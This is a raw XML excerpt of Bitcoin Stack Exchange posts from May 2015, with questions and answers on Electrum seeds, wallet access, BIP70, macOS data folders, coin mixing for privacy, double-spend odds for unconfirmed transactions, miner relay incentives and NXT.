  <row Id="37510" PostTypeId="2" ParentId="37508" CreationDate="2015-05-22T04:36:46.257" Score="3" Body="&lt;p&gt;When creating a new seed, Electrum 2.x does pretty much the same thing as vanity address generators, or for that matter Bitcoin miners... it &quot;grinds&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It generates a seed based on some entropy and a &lt;a href=&quot;https://en.wikipedia.org/wiki/Cryptographic_nonce&quot; rel=&quot;nofollow&quot;&gt;nonce&lt;/a&gt;, and checks if the seed's &lt;a href=&quot;https://en.wikipedia.org/wiki/Hash-based_message_authentication_code&quot; rel=&quot;nofollow&quot;&gt;HMAC&lt;/a&gt; starts with the required byte sequence (the &quot;checksum&quot;). If it doesn't, it increments the nonce and checks its HMAC again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're interested, the code which does this is &lt;a href=&quot;https://github.com/spesmilo/electrum/blob/b3f1f04312210a8c7009302850d4f80267545392/lib/mnemonic.py#L158-L166&quot; rel=&quot;nofollow&quot;&gt;here on GitHub&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be noted that Electrum seeds have (by default) 128 bits of entropy. As a result of this grinding, Electrum discards (for standard wallets with a checksum of 0x01) 255 out of every 256 potential seeds. This effectively decreases the entropy in a seed by 8 bits (the length of the checksum). In order to compensate for this, Electrum 2.x adds an additional 8 bits to the total seed length, which brings the seed length to 136 bits and the entropy back up to 128 bits.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="25088" LastEditDate="2015-05-22T13:51:04.963" LastActivityDate="2015-05-22T13:51:04.963" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="37511" PostTypeId="1" AcceptedAnswerId="37512" CreationDate="2015-05-22T05:06:26.747" Score="2" ViewCount="215" Body="&lt;p&gt;Who runs the &lt;a href=&quot;https://www.bitcoin.it&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wiki&lt;/a&gt;? What is their Twitter account?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I am looking for the community, group or person who runs this site.&lt;/li&gt;&#xA;&lt;li&gt;Does this being have a Twitter account? The account &lt;a href=&quot;https://twitter.com/@bitcoin_wiki&quot; rel=&quot;nofollow&quot;&gt;@bitcoin_wiki&lt;/a&gt; exists, but they have only 30 followers, which makes me think they aren’t the real people: so small a follower count doesn’t feel right.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I ask because the site is down and Twitter is a very easy way tell the site administrators. I suppose another method of contact would be fine too.&lt;/p&gt;&#xA;" OwnerUserId="26585" LastEditorUserId="1255" LastEditDate="2015-05-22T14:20:36.013" LastActivityDate="2015-05-22T14:20:36.013" Title="Who runs the Bitcoin wiki?" Tags="|bitcoin-wiki|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37512" PostTypeId="2" ParentId="37511" CreationDate="2015-05-22T07:34:03.670" Score="4" Body="&lt;p&gt;It's down because it's hosted on the same server as bitcointalk.org (in a separate VM), and the &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/36tqq4/bitcointalk_server_compromised_due_to_social/&quot; rel=&quot;nofollow&quot;&gt;bitcointalk.org server is down&lt;/a&gt;. Having them both on the same server has been convenient, but it's unnecessarily disruptive for both sites to go down at once when there are troubles with the host machine/OS/network, so the wiki is going to be moved elsewhere in the near future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I own the domain name and handle some technical aspects of the wiki's operation, but I am not the best person to contact for most technical problems, and I am not responsible for dictating wiki policy. For both of these things, it's best to join #bitcoin-wiki on Freenode or post in the Wiki section of the forum.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2015-05-22T07:39:50.623" LastActivityDate="2015-05-22T07:39:50.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37513" PostTypeId="1" CreationDate="2015-05-22T09:27:27.930" Score="1" ViewCount="78" Body="&lt;p&gt;I'm looking for vetted open source computer hardware that can run Armory air gapped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know of such vetted hardware sources?&lt;/p&gt;&#xA;" OwnerUserId="26588" LastEditorUserId="2306" LastEditDate="2017-04-25T20:06:06.723" LastActivityDate="2017-04-25T20:06:06.723" Title="Open Source Hardware For Air Gapped Computer?" Tags="|hardware-wallet|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37514" PostTypeId="1" CreationDate="2015-05-22T10:29:05.080" Score="0" ViewCount="32693" Body="&lt;p&gt;I get my bitcoin address from freebitco.in. So how can I login into my wallet to know about my bitcoins? How to convert bitcoins into dollars and send it in to my prepaid debit mastercard?&lt;/p&gt;&#xA;" OwnerUserId="26589" LastEditorUserId="2306" LastEditDate="2015-05-23T01:56:03.360" LastActivityDate="2017-03-08T00:40:27.440" Title="How to login into my wallet?" Tags="|wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37515" PostTypeId="2" ParentId="37503" CreationDate="2015-05-22T10:37:05.340" Score="0" Body="&lt;p&gt;You can use an offline copy of bit address.org to check private keys against addresses if you want. It's the wallet tab.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2015-05-22T10:37:05.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37516" PostTypeId="1" CreationDate="2015-05-22T11:31:06.870" Score="2" ViewCount="179" Body="&lt;p&gt;The BIP70 specs I'm reading confuse me about who broadcasts the underlying transactions to the bitcoin network. My reading seems to suggest that both the user's wallet and the server at the payment_url do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that true, or is it the user's wallet unless a payment_url is specified in the payment request, in which case the server at the payment_url does?&lt;/p&gt;&#xA;" OwnerUserId="26590" LastEditorUserId="2306" LastEditDate="2015-05-23T01:54:10.337" LastActivityDate="2015-05-24T12:09:30.923" Title="BIP70 who issues the transactions, wallet or payment_url server?" Tags="|bip70-payment-protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37517" PostTypeId="2" ParentId="37514" CreationDate="2015-05-22T12:54:56.867" Score="2" Body="&lt;p&gt;Your question shows that you're quite new to Bitcoin in general. I would advise you to do &lt;a href=&quot;https://www.weusecoins.com/&quot; rel=&quot;nofollow&quot;&gt;a little light reading&lt;/a&gt; about it to understand what bitcoin exactly is. Regardless..&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I get my bitcoin address from freebitco.in . So how can I login into my wallet to know about my bitcoins?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you acquired your wallet from Freebitco.in, you were redirected to Blockchain.info, you can &lt;a href=&quot;https://blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;log in there to check your balance.&lt;/a&gt; You will only have balance there if you withdrew coins from Freebitco.in in the first place. Otherwise, log into &lt;a href=&quot;https://freebitco.in/&quot; rel=&quot;nofollow&quot;&gt;Freebitco.in&lt;/a&gt; and withdraw your coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info is a web wallet, you'll find all the information you need about it on their website.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How to convert bitcoins into dollars and send it in to my prepaid debit mastercard?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You will first need to sell your coins for fiat currency. There are literally hundreds of online exchanges, or people you could find locally to sell to on &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;Localbitcoins&lt;/a&gt;. &lt;a href=&quot;http://www.coindesk.com/information/sell-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;Here's a nice guide to get you started&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you've read the guide, signed up for an exchange, and sold your coins, you can have them transfered to your bank account and use the money with your prepaid card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Congratulations on starting with Bitcoin, I would recommend you not to cash out, and instead of converting your coins to fiat, try finding &lt;a href=&quot;http://www.coindesk.com/information/what-can-you-buy-with-bitcoins/&quot; rel=&quot;nofollow&quot;&gt;places where you can spend your bitcoin instead&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="19359" LastEditorUserId="19359" LastEditDate="2015-05-22T14:57:43.400" LastActivityDate="2015-05-22T14:57:43.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37518" PostTypeId="2" ParentId="37505" CreationDate="2015-05-22T12:58:09.220" Score="0" Body="&lt;p&gt;By the sounds of things and your fix, I would say that you had a blockchain created by an earlier version of Bitcoin-QT and something in the migration process in making that work with newer versions is causing it to take longer than to download the whole blockchain fresh with the latest versions. It's always advisable to keep a backup of wallet.dat (so you don't lose access to your wallet) but you can dump the rest of the application support directory which is mostly blockchain.&lt;/p&gt;&#xA;" OwnerUserId="129" LastEditorUserId="129" LastEditDate="2015-05-22T14:07:42.773" LastActivityDate="2015-05-22T14:07:42.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37519" PostTypeId="2" ParentId="35961" CreationDate="2015-05-22T13:50:34.267" Score="0" Body="&lt;p&gt;In the Finder, click the 'Go' menu and choose 'Go to folder' (or just cmd-shift-G)&#xA;type &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/Library/Application Support/Bitcoin/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the field that appears, click go and viola. If you've never previously run bitcoin the directory won't be there but you can go to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/Library/Application Support/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and create it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the problem you were having trying to find it if you were using the Terminal to do so may have been that spaces have to be escaped in file paths, so the command to change to that directory would be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd ~/Library/Application\ Support/Bitcoin &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;note the backslash before the space. As I've noted you know, you can also drag files or folders in to the Terminal and it will automatically enter the path to that file/folder.&lt;/p&gt;&#xA;" OwnerUserId="129" LastActivityDate="2015-05-22T13:50:34.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37520" PostTypeId="1" AcceptedAnswerId="37628" CreationDate="2015-05-22T16:55:39.063" Score="3" ViewCount="695" Body="&lt;p&gt;I'm working on a proof-of-concept for a blockchain project and at its core it will need a modified SPV node running on iOS. The reason I need to modify it is so I can build non-standard (e.g. OP_RETURN) scripts without seat-of-the-pants techniques like hacking into the transaction hex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of some basic starting points such as picocoin and libbitcoin which I should be able to compile for iOS. But is there anything else available that would specifically make an SPV node easier to develop on iOS?&lt;/p&gt;&#xA;" OwnerUserId="26591" LastActivityDate="2015-05-27T22:52:13.660" Title="Source code for SPV node on iOS - where to start?" Tags="|spv|ios|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37521" PostTypeId="2" ParentId="30111" CreationDate="2015-05-22T17:25:20.890" Score="-1" Body="&lt;p&gt;You can add and monitor addresses in &lt;a href=&quot;http://blockonomics.co&quot; rel=&quot;nofollow&quot;&gt;http://blockonomics.co&lt;/a&gt;&#xA;It can be used on both desktop and mobile&lt;/p&gt;&#xA;" OwnerUserId="26481" LastEditorUserId="26481" LastEditDate="2015-11-21T14:23:43.137" LastActivityDate="2015-11-21T14:23:43.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37522" PostTypeId="1" AcceptedAnswerId="37553" CreationDate="2015-05-22T18:23:39.023" Score="4" ViewCount="1342" Body="&lt;p&gt;can I import btc electrum wallet into my &lt;a href=&quot;https://coinomi.com/&quot; rel=&quot;nofollow&quot;&gt;coinomi&lt;/a&gt; mulit-currency wallet app?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They both use electrum servers and they both have seeds so it looks like they are a similar kind of wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In electrum I have the option&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;File/Save Copy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This looks like it saves a file with no extension next to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/home/username/.electrum/wallets/default_wallet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could I import this into Coinomi via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(Coinomi app) /Settings/Restore Wallet/RESTORE A WALLET&#xA;&#xA;enter my electrum seed / recovery phrase and password...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Without loosing my coins?&lt;/p&gt;&#xA;" OwnerUserId="14316" LastEditorUserId="2306" LastEditDate="2017-03-04T01:12:14.817" LastActivityDate="2017-03-04T01:12:14.817" Title="import btc electrum wallet into coinomi" Tags="|electrum|wallet-import|coinomi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37523" PostTypeId="2" ParentId="37520" CreationDate="2015-05-22T18:25:00.927" Score="2" Body="&lt;p&gt;There are Objective-C libraries for Bitcoin, like &lt;a href=&quot;https://github.com/oleganza/CoreBitcoin&quot; rel=&quot;nofollow&quot;&gt;CoreBitcoin&lt;/a&gt;, but none of them implement an SPV client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thinking (I've never developed for iOS, only for android) is that you should use a mature solution, like &lt;a href=&quot;https://github.com/bitcoinj/bitcoinj&quot; rel=&quot;nofollow&quot;&gt;BitcoinJ&lt;/a&gt;, and a tool like &lt;a href=&quot;http://j2objc.org/&quot; rel=&quot;nofollow&quot;&gt;J2ObjC&lt;/a&gt; to convert it. I think that would give you a faster (in terms of development time) and better-tested solution.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-05-22T18:25:00.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37525" PostTypeId="2" ParentId="32403" CreationDate="2015-05-22T20:29:14.880" Score="0" Body="&lt;p&gt;If done correctly, then no, the offline-wallet address and the final address would be unlinkable (if considering only information recorded in the blockchain).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in order to do this correctly, there are a few points to be aware of and take care of:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If the amount you mix is some arbitrary amount X, and X is just an arbitrary amount, say 345.9372BTC, then it is easy to see the offline address and the final address have the same distinguishable amount, and link them -- For this reason, mixer services accept predefined denominations, e.g. 1BTC, and you should transfer each &quot;chunk&quot; to a different address.&lt;/li&gt;&#xA;&lt;li&gt;Even if you use multiple target addresses, if you later transfer, in a single transaction, from those multiple addresses, it can be inferred that all those addresses are owned by the same owner. Under some circumstances, a link can be suspected to exist between those addresses and the pre-mixing address -- For this reason, it is recommended to carry out multiple mixing iterations, instead of just a single mixing.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15073" LastActivityDate="2015-05-22T20:29:14.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37528" PostTypeId="2" ParentId="31932" CreationDate="2015-05-22T22:41:42.357" Score="0" Body="&lt;p&gt;No, there is no way to 'drop address' from an HD sequence. You could sweep your funds(mix them) and move them into a (cleaner)different HD wallet if you're worried being able to getting linked to that address.&lt;/p&gt;&#xA;" OwnerUserId="26597" LastActivityDate="2015-05-22T22:41:42.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37530" PostTypeId="2" ParentId="37516" CreationDate="2015-05-23T01:36:40.033" Score="1" Body="&lt;p&gt;You're right, it is confusing in the specification. Particularly:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When the merchant's server receives the Payment message, it must determine whether or not the transactions satisfy conditions of payment. If and only if they do, if [sic] should broadcast the transaction(s) on the Bitcoin p2p network.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Customer authorizes payment to the merchant's address and broadcasts the transaction through the Bitcoin p2p network.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The image particularly shows the Wallet broadcasting the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LZhMa.png&quot; alt=&quot;BIP70&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is established, however, is that the transaction in the Payment message sent to the merchant is the same transaction the wallet app broadcasts. IMHO, I think it's safe to assume that both the customer's wallet and the merchant attempt to broadcast the transaction. When both parties hold the transaction, they can both ensure that it was broadcast to the network..&lt;/p&gt;&#xA;" OwnerUserId="19359" LastEditorUserId="19359" LastEditDate="2015-05-24T12:09:30.923" LastActivityDate="2015-05-24T12:09:30.923" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37531" PostTypeId="2" ParentId="37500" CreationDate="2015-05-23T02:34:29.347" Score="1" Body="&lt;p&gt;The 58000 coins have gone to a change address in your wallet. When you sent 2000 from the 60000 UTXO you've had 60000 go out to two inputs: your change address and the spending address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep this in mind: &lt;em&gt;when spending from a single input you're  sending the whole lot&lt;/em&gt;!&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-05-23T02:34:29.347" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37532" PostTypeId="2" ParentId="30273" CreationDate="2015-05-23T04:57:48.247" Score="3" Body="&lt;p&gt;See &lt;a href=&quot;http://www.peerexplorer.com/api&quot; rel=&quot;nofollow&quot;&gt;http://www.peerexplorer.com/api&lt;/a&gt; for a list of active peers including their public API status&lt;/p&gt;&#xA;" OwnerUserId="18874" LastActivityDate="2015-05-23T04:57:48.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37533" PostTypeId="2" ParentId="9107" CreationDate="2015-05-23T04:58:33.823" Score="1" Body="&lt;p&gt;Original poster's hunch is absolutely correct.  Miner has every incentive to &lt;em&gt;send&lt;/em&gt; his newly found block to peers immediately.  Any delay only harms its chances of being built into the permanent chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miner is also very anxious to &lt;em&gt;receive&lt;/em&gt; new blocks mined by others, so he can build at the tip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to &lt;em&gt;relay&lt;/em&gt; a new block mined elsewhere only helps other miners to build at the tip, and therefore harms our miner's chances of producing the next best-block.  The optimal strategy for our miner is to relay the block mined elsewhere only when he has found his own block on top of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason, the network of non-mining full nodes plays an under-appreciated role as intermediary between miners.  Full nodes have nothing to lose by relaying blocks promptly.&lt;/p&gt;&#xA;" OwnerUserId="21546" LastEditorUserId="21546" LastEditDate="2015-05-23T05:04:48.763" LastActivityDate="2015-05-23T05:04:48.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37534" PostTypeId="2" ParentId="37509" CreationDate="2015-05-23T05:26:49.300" Score="4" Body="&lt;p&gt;Yes, it is quite possible to successfully double-spend an unconfirmed transaction.  Only about 20% of hash power today strictly mines the first transaction seen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a chart showing the convergence to 80% success when the time gap between the two transactions is 15 seconds or more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XOmvG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll leave it to other resources to give details on how to use the rawtransaction API to do this.  Be very careful, as you can easily end up sending much more to fees than you intended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Core Dev Peter Todd actually wrote a &lt;a href=&quot;https://github.com/petertodd/replace-by-fee-tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;tool&lt;/a&gt; to do exactly this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Increases the fee on a transaction by double-spending it with a second&#xA;  transaction paying the original recipients.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="21546" LastEditorUserId="8728" LastEditDate="2015-05-28T17:11:24.110" LastActivityDate="2015-05-28T17:11:24.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37536" PostTypeId="2" ParentId="9107" CreationDate="2015-05-23T06:06:15.240" Score="0" Body="&lt;p&gt;@TomHarding is correct in that a miner cannot void a block mined by another miner simply by not relaying it. The block gets propagated anyway, through other nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is worth pointing out that the problem you describe is related the problem of &lt;a href=&quot;https://bitcoinmagazine.com/7953/selfish-mining-a-25-attack-against-the-bitcoin-network/&quot; rel=&quot;nofollow&quot;&gt;selfish mining&lt;/a&gt;, where, given some assumptions, a &quot;selfish&quot; miner has the incentive to avoid publishing a block he himself mined, and start working on the next block on top of that &quot;private&quot; block, hoping that at the same time, the rest of the miners are doing futile work (being unaware of the private block which would eventually make it into the blockchain). Of course, the selfish miner is risking losing the reward on the unpublished block if it doesn't make it to the blockchain eventually, but under some assumptions, this can still be a profitable strategy for him.&lt;/p&gt;&#xA;" OwnerUserId="15073" LastActivityDate="2015-05-23T06:06:15.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37537" PostTypeId="2" ParentId="30443" CreationDate="2015-05-23T06:32:25.333" Score="1" Body="&lt;p&gt;The contacts are stored in local browser database. You do not need migrate them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding upgrade, in most cases when using the zip file installation the best strategy is:&#xA;1. Stop the NRS&#xA;2. Delete the /lib library&#xA;3. Unzip the new version on top of the old version&#xA;When you start the NRS again it will migrate the database to the new structure, this can take a while, sometimes up to an hour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to install from fresh, copy over from your old installation:&#xA;1. The blockchain in the nxt_db folder, also the nxt_test_db forlder if you are using the testnet&#xA;2. The relevant properties in your nxt.properties&lt;/p&gt;&#xA;" OwnerUserId="18874" LastActivityDate="2015-05-23T06:32:25.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37538" PostTypeId="2" ParentId="29707" CreationDate="2015-05-23T06:37:17.610" Score="1" Body="&lt;p&gt;I'm not familiar with PPC, regarding NXT it has proven itself to be secure and scalable in the last 18 month defeating many attack attempts. &#xA;It has many features that are not available in a plain vanilla Bitcoin blockchain and cannot be directly compared to Ripple which is not blockchain based as far as I know.&#xA;To get started with NXT visit nxtforum.org&lt;/p&gt;&#xA;" OwnerUserId="18874" LastEditorUserId="18874" LastEditDate="2015-10-07T07:50:44.130" LastActivityDate="2015-10-07T07:50:44.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37539" PostTypeId="2" ParentId="30206" CreationDate="2015-05-23T06:41:50.610" Score="2" Body="&lt;p&gt;In V1.5 this has been increased to 42K but your message will be pruned after 14 days leaving only its hash. You can still store permanent messages 1000 bytes long but this is likely to be reduced in the future.&lt;/p&gt;&#xA;" OwnerUserId="18874" LastActivityDate="2015-05-23T06:41:50.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37540" PostTypeId="2" ParentId="31955" CreationDate="2015-05-23T06:45:28.253" Score="1" Body="&lt;p&gt;NXT blockchain size is now around 1.5GB in 18 month that's roughly 83MB increase per month.&lt;/p&gt;&#xA;" OwnerUserId="18874" LastActivityDate="2015-05-23T06:45:28.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37541" PostTypeId="2" ParentId="37218" CreationDate="2015-05-23T06:55:09.800" Score="1" Body="&lt;p&gt;The coin shuffling feature is on the product roadmap but I don't know when it will make to the mainnet:&#xA;&lt;a href=&quot;https://bitbucket.org/JeanLucPicard/nxt/issue/135/coin-shuffling-monetary-system&quot; rel=&quot;nofollow&quot;&gt;https://bitbucket.org/JeanLucPicard/nxt/issue/135/coin-shuffling-monetary-system&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18874" LastActivityDate="2015-05-23T06:55:09.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37542" PostTypeId="2" ParentId="37192" CreationDate="2015-05-23T06:58:42.340" Score="1" Body="&lt;p&gt;The main advantage of the MGW exchange over traditional exchanges is that for protocols which support multisig, all funds are stored under 2/3 multisig accounts on 3 geographically separate servers, most likely, owned by different entities.&lt;/p&gt;&#xA;" OwnerUserId="18874" LastActivityDate="2015-05-23T06:58:42.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37543" PostTypeId="1" CreationDate="2015-05-23T09:58:34.247" Score="0" ViewCount="626" Body="&lt;p&gt;If the private key(s) are/is in the wallet.dat file, then isn't it overly exposed to hackers?  Can't a hacker just read my C:[dir]\wallet.dat file and take all the bitcion?&lt;/p&gt;&#xA;" OwnerUserId="26604" LastActivityDate="2015-05-25T06:16:36.917" Title="wallet.dat file compromise" Tags="|private-key|wallet.dat|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37545" PostTypeId="1" AcceptedAnswerId="37557" CreationDate="2015-05-23T17:35:20.027" Score="0" ViewCount="62" Body="&lt;p&gt;What are all the Bitcoin exchanges whose websites have an &lt;a href=&quot;https://en.wikipedia.org/wiki/Extended_Validation_Certificate&quot; rel=&quot;nofollow noreferrer&quot;&gt;Extended Validation (EV) SSL cert&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EV certs appear green in Firefox. This is what &lt;a href=&quot;https://www.circle.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Circle&lt;/a&gt;'s looks like:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/f96xq.png&quot; alt=&quot;Circle.com EV header.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only exchanges that have EV certs that I know of are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://coinbase.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Coinbase&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.circle.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Circle&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlockChain.info&lt;/a&gt; also has one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there others?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2015-05-23T20:58:08.423" LastActivityDate="2015-05-25T13:29:13.600" Title="Exchanges whose websites use EV SSL certs?" Tags="|exchanges|data-security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37548" PostTypeId="1" CreationDate="2015-05-24T00:37:58.843" Score="0" ViewCount="729" Body="&lt;p&gt;I'm am trying to solo mine. My first problem is when I try to launch bitcoin client as server with guiminer I get this error &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Invalid -rpcallowip subnet specifications.* valid are a single ip. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I looked around and it seems that I need to open &lt;code&gt;bitcoind&lt;/code&gt; and change my &lt;code&gt;rpcallowip&lt;/code&gt; from what I understand. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem then is, when I try to open &lt;code&gt;bitcoind&lt;/code&gt;, it pops up for 1 second then crashes. I have tried to run it as admin, I have downloaded a new wallet, but I couldn't get it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I have seen my guess is it looks like rpcallowip=192.168.0.* I have seen I need to change it to rpcallowip=192.168.0.1/24. The problem is I don't know where to change it. Also I don't know if this is even the problem. I am trying to take this one step at a time. .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it was in bitcoin-di. And like I was saying every time I try to load it, it crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to get guiminer to solo farm with bitcoin core as my wallet. I thought it would be an easy process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on windows 8.1 with bitcoin core v0.10.2. Using guiminer. I set up with slosh pool and got that to work. My gpu is not strong enough to do any good tho so I figured I would give a shot with solo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure of I'm way off. Where so I go to change it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for the response.&lt;/p&gt;&#xA;" OwnerUserId="26614" LastEditorUserId="26616" LastEditDate="2015-05-24T23:03:51.900" LastActivityDate="2015-05-25T00:04:08.213" Title="Bitcoind crashes directly after starting" Tags="|bitcoind|bitcoin-core|solo-mining|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
